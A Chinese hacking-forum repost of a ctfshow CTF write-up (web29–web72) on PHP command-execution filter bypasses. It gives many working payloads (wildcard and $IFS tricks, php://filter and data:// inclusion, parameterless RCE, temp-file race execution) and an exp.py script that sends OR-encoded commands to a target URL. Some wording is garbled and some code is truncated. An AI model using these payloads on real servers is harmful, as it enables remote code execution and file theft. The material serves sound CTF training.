跳转到帖子

游客您好,欢迎来到黑客世界论坛!您可以在这里进行注册。

赤队小组-代号1949(原CHT攻防小组)在这个瞬息万变的网络时代,我们保持初心,创造最好的社区来共同交流网络技术。您可以在论坛获取黑客攻防技巧与知识,您也可以加入我们的Telegram交流群 共同实时探讨交流。论坛禁止各种广告,请注册用户查看我们的使用与隐私策略,谢谢您的配合。小组成员可以获取论坛隐藏内容!

TheHackerWorld官方

php代码审计前奏之ctfshow之命令执行

精选回复

发布于

php代码审计前奏之ctfshow之命令执行

600b6e0e68cd9.png


想搞好代码审计,必需求搞懂其间一些风险函数风险应用,以及过滤不足,

故以 CTF 来练习。

web29~过滤关键字

指令履行,需求严厉的过滤

源码:

 error_reporting(0); if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/flag/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); }
  • preg_match — 履行匹配正则表达式

标题约束了不能呈现flag.

结构?c=system(ls);页面回显:

flag.php index.php

绕过 flag ,通配符绕过。

linux 中有一些通配符。

*代表恣意字符 0个或多个

?代表恣意字符 1 个

[abcd]匹配abcd中一个字符

[a-z]匹配范围 a-z

还能够这样绕过

fla\g.php fla''g.php

payload :

?c=system('cat *'); ?c=system('cat fl?g.php'); ?c=system('cat f[a-z]ag.php');

履行 payload 后源代码中有显现。

另一种解法:

  • eval — 把字符串作为PHP代码履行

BUXXi8.md.png

传入?c=echo "hello";?>

结构:

?c=echo "hello";?>

得到一串base64 字符串,解码得到

  $flag='flag{73c6fd37-47f1-47a4-a9a3-df83ae757139}'; 

web30~添加指令履行函数

指令履行,需求严厉的过滤

代码:

  error_reporting(0); if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/flag|system|php/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); }

在上一题的基础上添加了过滤。flag、system、php

可是咱们仍然能够用到其他函数进行替代。

system() passthru()   # passthru — 履行外部程序而且显现原始输出 exec()       # exec — 履行一个外部程序   shell_exec() # shell_exec — 经过 shell 环境履行指令,而且将完整的输出以字符串的办法回来。 popen() proc_open() pcntl_exec() 反引号 同shell_exec()

这儿需求注意一下,只要system函数是有回显的,其他的函数能够经过echo等显现

?c=echo passthru("cat f*"); ?c=echo `cat f*`;

或许

?c=echo "hello"; include($_GET['url']); ?>&url=php://filter/read=convert.base64-encode/resource=flag.php

标题wp:

echo `nl fl''ag.p''hp`;

web31~过滤cat,空格

指令履行,需求严厉的过滤

源码:

1. cat被过滤

more:一页一页的显现档案内容
less:与 more 相似
head:检查头几行
tac:从毕竟一行开端显现,能够看出 tac 是 cat 的反向显现
tail:检查尾几行
nl:显现的时分,顺便输出行号
od:以二进制的办法读取档案内容
vi:一种编辑器,这个也能够检查
vim:一种编辑器,这个也能够检查
sort:能够检查
uniq:能够检查
file -f:报错出具体内容
grep  在当时目录中,查找后缀有 file 字样的文件中包括 test 字符串的文件,并打印出该字符串的行。此刻,能够运用如下指令: grep test *file
paste  指令会把每个文件以列对列的办法,一列列地加以兼并。

2. 空格被过滤·

{$IFS}   $IFS$9
> < <> 重定向符
%09(需求php环境)
{cat,flag.php} //用逗号实现了空格功能
%20  
https://blog.csdn.net/whuslei/article/details/7187639  

payload:

?c=echo(`tac%09f*`);

解法二:

?c=include($_GET["url"]);?>&url=php://filter/read=convert.base64-encode/resource=flag.php

官方

show_source(next(array_reverse(scandir(pos(localeconv())))));

web32~文件包括绕过

又添加过滤了 反引号、括号,echo。

文件包括绕过

include
require
include_once
require_once

payload:

?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php

web33~文件包括绕过

源码:

多过滤了一个双引号,

直接用上一题的 payload:

?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php

?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php

web34~文件包括绕过

源码:

过滤多了一个冒号,也是上一关payload 。

?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php

?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php

web35~文件包括绕过

多过滤了<、=。没啥用,直接打

?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php

?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php

web36~文件包括绕过

  error_reporting(0); if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); }

多过滤了数字,持续打。

?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php

web37~data协议

  //flag in flag.php error_reporting(0); if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/flag/i", $c)){ include($c); echo$flag; }  }else{ highlight_file(__FILE__); }

过滤了flag ,又是 include 文件包括

运用伪协议读flag

data://,能够让用户来控制输入流,当它与包括函数结合时,用户输入的data://流会被当作php文件履行

payload:

/?c=data://text/plain,

web38~data协议

相同运用data协议。

?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTs=

web39~data协议

payload:

?c=data://text/plain,

data://text/plain, 这样就相当于履行了php句子 .php 由于前面的php句子已经闭合了,所以后面的.php会被当成html页面直接显现在页面上,起不到什么 效果

web40~无参数读文件

|\/|\?|\\\\/i", $c)){
        eval($c);
    }
        
}else{
    highlight_file(__FILE__);
}

过滤了引号、$、冒号,还不能用伪协议。

一般括号里参数都要用引号,这儿学习一下无参数RCE(remote command/code execute)。

无参数的意思能够是a()、a(b())或a(b(c())),但不能是a('b')或a('b','c'),不能带参数。

概况看这儿:

payload:

c=readfile(next(array_reverse(scandir(getcwd()))));

# 多改写几次
c=readfile(array_rand(array_flip(scandir(getcwd()))));
readfile(array_rand(array_flip(scandir(current(localeconve())))));

wp:
c=session_start();system(session_id());
passid=ls

web41~异或绕过

 

这个题过滤了$、+、-、^、~使得异或自增和取反结构字符都无法运用,一起过滤了字母和数字。可是特意留了个或运算符|。咱们能够测验从ascii为0-255的字符中,找到或运算能得到咱们可用的字符的字符。这儿先给出两个脚本 exp.py rce_or.php,咱们以后碰到能够运用或运算绕过的能够自己手动修改下即可。生成可用字符的集-合

=32&ord($c)<=126) {
			$contents=$contents.$c." ".$a." ".$b."\n";
		}
	}

}
}
fwrite($myfile,$contents);
fclose($myfile);

大体意思便是从进行异或的字符中排除去被过滤的,然后在判别异或得到的字符是否为可见字符传递参数getflag用法python exp.py

# -*- coding: utf-8 -*-
import requests
import urllib
from sys import *
import os
os.system("php rce_or.php")  #没有将php写入环境变量需手动运转
if(len(argv)!=2):
   print("="*50)
   print('USER:python exp.py')
   print("eg:  python exp.py http://ctf.show/")
   print("="*50)
   exit(0)
url=argv[1]
def action(arg):
   s1=""
   s2=""
   for i in arg:
       f=open("rce_or.txt","r")
       while True:
           t=f.readline()
           if t=="":
               break
           if t[0]==i:
               #print(i)
               s1+=t[2:5]
               s2+=t[6:9]
               break
       f.close()
   output="(\""+s1+"\"|\""+s2+"\")"
   return(output)
   
while True:
   param=action(input("\n[+] your function:") )+action(input("[+] your command:"))
   data={
       'c':urllib.parse.unquote(param)
       }
   r=requests.post(url,data=data)
   print("\n[*] result:\n"+r.text)

https://blog.csdn.net/miuzzx/article/details/108569080

web42~
/dev/null 2>&1");
}else{
    highlight_file(__FILE__);
} 

payload:

c=ls;
c=cat flag.php;

web43~
/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
} 

过滤分号和cat运用 换行符%0a

?c=ls%0a
?c=tac flag.php%0a

说一下为啥system()函数要用的分号或许切断,由于不必的话输入的句子就和后边的>/dev/null 2>&1拼接起来了。毕竟不关输入啥都会把成果输出到/dev/null。

概况看这儿: https://www.cnblogs.com/520playboy/p/6275022.html

web44~>/dev/null过滤; cat flag

/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
} 

过滤;、cat、flag

结合前面的,直接:

?c=tac f*%0a

web45~>/dev/null多过滤空格

/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
} 

多过滤了个空格。

payload:

?c=tac%09f*%0a

?c=tac$IFS\f*%0A
# 这儿 f 前面不加 反斜杠的话就出不来,或许是会被前面的解析到一起吧。
?c=more${IFS}f*%0a

IFS: https://www.xuebuyuan.com/3197835.html

web46~多过滤数字 $ *

/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
} 

多过滤了数字、$ 、*

意味着不能用shell中变量了。

payload:

?c=tac%09fla?.php%0a

nl

web47~多过滤读取函数

/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

多过滤了 more 、less 、 head 、sort 、tail 。

可是 tac 、od 、uniq 等没被过滤

od 读文件 https://www.cnblogs.com/wfwenchao/p/5188720.html

payload:

?c=tac%09fla?.php%0a

?c=nl%09fla?.php%0a

?c=nl

web48~多过滤函数

/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

多过滤了一些读取函数。

payload:

?c=tac%09fla?.php%0a

?c=tac

web49~多过滤反引号

/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
} 

多过滤反引号。

payload 同上关相同。

web50~多过滤% x09 x26

/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
} 

多过滤%、09、26

?c=tacfla\g.php%0a''g.php%0a>

web51~多过滤tac

  sset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){ system($c.">/dev/null 2>&1"); } }else{ highlight_file(__FILE__); }

这回额定过滤了tac,可是咱们还能够用nl

?c=nl

web52~多过滤重定向符但没过滤 $

  if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\ system($c.">/dev/null 2>&1"); } }else{ highlight_file(__FILE__); } 

额定过滤了 重定向符< >,可是这儿没过滤$

去查?c=nl${IFS}fla\g.php%0a得到$flag="flag_here";得到了一个假的flag.

查询根目录有啥文件

?c=ls${IFS}/%0a
# bin dev etc flag home lib media mnt opt proc root run sbin srv sys tmp usr var 

?c=nl${IFS}/fla''g%0a

web53

|\

也没多过滤啥。。

?c=ls%0a得到

ls flag.php index.php readflag
readflag 

payload:

?c=ls%0a
?c=nl

web54~/bin/?at 绕过

|\

多过滤了一些检查文件指令。

payload:

?c=paste${IFS}fla?.php%0a

?c=/bin/?at${IFS}f?ag.php%0a

?c=/bin/?at${IFS}f???????

web55~过滤一切小写字母

|\

直接过滤了一切小写字母!!!。

那么这儿肯定是要无字符 rce 。

可是这儿没有过滤通配符,所以能够找到一个带有数字的指令,运用通配符履行指令。

  1. base64的运用

    有个指令是/bin/base64,咱们能够据此结构

    ?c=/???/????64 ????????

    得到

    PD9waHANCg0KLyoNCiMgLSotIGNvZGluZzogdXRmLTggLSotDQojIEBBdXRob3I6IGgxeGENCiMg QERhdGU6ICAgMjAyMC0wOS0wNyAxOTo0MDo1Mw0KIyBATGFzdCBNb2RpZmllZCBieTogICBoMXhh DQojIEBMYXN0IE1vZGlmaWVkIHRpbWU6IDIwMjAtMDktMDcgMTk6NDE6MDANCiMgQGVtYWlsOiBo MXhhQGN0ZmVyLmNvbQ0KIyBAbGluazogaHR0cHM6Ly9jdGZlci5jb20NCg0KKi8NCg0KDQokZmxh Zz0iZmxhZ3tlYTY0MTJlZi03NGY3LTQ1ZjItYWJiYS05M2Y2ODZkOTkwZDh9Ijs= 

    解码即得到flag.

  2. bzip2

    bzip2 是 linux 下面的压缩文件的指令。在/usr/bin/bzip2

    结构

    ?C=/???/???/????2 ????????

    然后访问flag.php.bz2下载即可获得 flag.php

  3. 临时文件上传

    https://www.gem-love.com/websecurity/1407.html

    https://blog.csdn.net/qq_46091464/article/details/108557067

web56~临时文件

|\

多过滤数字,所以用不了上题的前两种办法。这儿只能详细写一下上题的第三种办法了。

咱们能够经过post一个文件(文件里边的sh指令),在上传的过程中,经过.(点)去履行履行这个文件。(形成了条件竞争)。一般来说这个文件在linux下面保存在/tmp/php??????一般后面的6个字符是随机生成的有大小写。(能够经过linux的匹配符去匹配)注意:经过.去履行sh指令不需求有履行权限

咱们需求结构一个post上传文件的数据包。

POST数据包POC文件名:

抓包,结构?c=.+/???/????????[@-[]

ByL5qO.md.png

web57~结构数字

|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)){
        system("cat ".$c.".php");
    }
}else{
    highlight_file(__FILE__);
}

这儿只需求结构 传参 36 即可,可是数字字符都被ban了。

paylaod

$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~
$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~
$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~
$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~
$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~
$(())))$((~$(())))$((~$(())))))))

linux echo 一下是 36.

web58~readfile读取

post结构c=system('ls');成果

Warning: system() has been disabled for security reasons in /var/www/html/index.php(17) : eval()'d code on line 1

system 函数被 ban了

Warning: shell_exec() has been disabled for security reasons in /var/www/html/index.php(17) : eval()'d code on line 1

结构c=print_r(scandir('.'));.得到

Array ( [0] => . [1] => .. [2] => flag.php [3] => index.php ) 

payload:

c=readfile('flag.php');

web59~show_source读取

同上关可是,

Warning: readfile() has been disabled for security reasons in /var/www/html/index.php(17) : eval()'d code on line 1

测验其他读取文件函数

c=show_source('flag.php');

web60-65~show_source读取

payload:

同58相同

web66~highlight_file读取

 // 你们在炫技吗? if(isset($_POST['c'])){ $c=$_POST['c']; eval($c); }else{ highlight_file(__FILE__); } 

用曾经办法

 Warning: show_source() has been disabled for security reasons in /var/www/html/index.php(17) : eval()'d code on line 1 

c=highlight_file('flag.php');成果

$flag="秀秀得了,这次不在这儿";

c=print_r(scandir('/'));回来

Array ( [0] => . [1] => .. [2] => .dockerenv [3] => bin [4] => dev [5] => etc [6] => flag.txt [7] => home [8] => lib [9] => media [10] => mnt [11] => opt [12] => proc [13] => root [14] => run [15] => sbin [16] => srv [17] => sys [18] => tmp [19] => usr [20] => var )

有个flag.txt ,结构 payload:

c=highlight_file('/flag.txt');

web67~var_dump打印

找目录,发现

Warning: print_r() has been disabled for security reasons in /var/www/html/index.php(17) : eval()'d code on line 1

用c=var_dump(scandir('.'));

array(4) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(8) "flag.php" [3]=> string(9) "index.php" } 

c=highlight_file('flag.php');又是假的。

毕竟

c=highlight_file('/flag.txt');

web68~include读取

翻开标题直接

Warning: highlight_file() has been disabled for security reasons in /var/www/html/index.php on line 19

阐明highlight_file函数被禁用了。

c=var_dump(scandir('/'));得到

array(21) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(10) ".dockerenv" [3]=> string(3) "bin" [4]=> string(3) "dev" [5]=> string(3) "etc" [6]=> string(8) "flag.txt" [7]=> string(4) "home" [8]=> string(3) "lib" [9]=> string(5) "media" [10]=> string(3) "mnt" [11]=> string(3) "opt" [12]=> string(4) "proc" [13]=> string(4) "root" [14]=> string(3) "run" [15]=> string(4) "sbin" [16]=> string(3) "srv" [17]=> string(3) "sys" [18]=> string(3) "tmp" [19]=> string(3) "usr" [20]=> string(3) "var" } 

有个flag.txt

readfile、show_source、highlight_file被禁用了.

读取不了,可是咱们还能够直接文件包括。

payload:

c=include('/flag.txt');

web69~var_export打印

相同是

Warning: highlight_file() has been disabled for security reasons in /var/www/html/index.php on line 19

var_dump 也被禁用

Warning: var_dump() has been disabled for security reasons in /var/www/html/index.php(17) : eval()'d code on line 1
  • var_export — 输出或回来一个变量的字符串表示

用c=var_export(scandir('/'));得到

array ( 0 => '.', 1 => '..', 2 => '.dockerenv', 3 => 'bin', 4 => 'dev', 5 => 'etc', 6 => 'flag.txt', 7 => 'home', 8 => 'lib', 9 => 'media', 10 => 'mnt', 11 => 'opt', 12 => 'proc', 13 => 'root', 14 => 'run', 15 => 'sbin', 16 => 'srv', 17 => 'sys', 18 => 'tmp', 19 => 'usr', 20 => 'var', )

payload:

c=var_export(scandir('/'));` c=include('/flag.txt');

web70~var_export+include

直接:

Warning: error_reporting() has been disabled for security reasons in /var/www/html/index.php on line 14  Warning: ini_set() has been disabled for security reasons in /var/www/html/index.php on line 15  Warning: highlight_file() has been disabled for security reasons in /var/www/html/index.php on line 21 你要上天吗?

payload:

c=var_export(scandir('/')); c=include('/flag.txt');

web71~exit(0); 绕过后边代码

 Warning: error_reporting() has been disabled for security reasons in /var/www/html/index.php on line 14  Warning: ini_set() has been disabled for security reasons in /var/www/html/index.php on line 15  Warning: highlight_file() has been disabled for security reasons in /var/www/html/index.php on line 24 你要上天吗?

c=var_export(scandir('/'));得到

???????: ?????_?????????() ??? ???? ???????? ??? ???????? ??????? ?? /???/???/????/?????.??? ?? ???? ?? ???????: ???_???() ??? ???? ???????? ??? ???????? ??????? ?? /???/???/????/?????.??? ?? ???? ?? ????? ( ? => '.', ? => '..', ? => '.?????????', ? => '???', ? => '???', ? => '???', ? => '????.???', ? => '????', ? => '???', ? => '?????', ?? => '???', ?? => '???', ?? => '????', ?? => '????', ?? => '???', ?? => '????', ?? => '???', ?? => '???', ?? => '???', ?? => '???', ?? => '???', ) 你要上天吗?

......发现有个附件,下载翻开:

  error_reporting(0); ini_set('display_errors', 0); // 你们在炫技吗? if(isset($_POST['c'])){ $c=$_POST['c']; eval($c); $s=ob_get_contents(); ob_end_clean(); echopreg_replace("/[0-9]|[a-z]/i","?",$s); }else{ highlight_file(__FILE__); }  ?>  你要上天吗?

代码把输出的字母数字都转化为问号?.

咱们能够是服务端履行完咱们的歹意 payload 后就中止运转 php 程序。

所以能够c=var_export(scandir('/'));exit(0);使得后边的代码中止履行,从而不会被正则替换。

payload:

c=var_export(scandir('/'));exit(0); c=include('/flag.txt');exit(0);

web72~open_basedir

下载附件:

  error_reporting(0); ini_set('display_errors', 0); 

创建帐户或登录后发表意见

最近浏览 0

  • 没有会员查看此页面。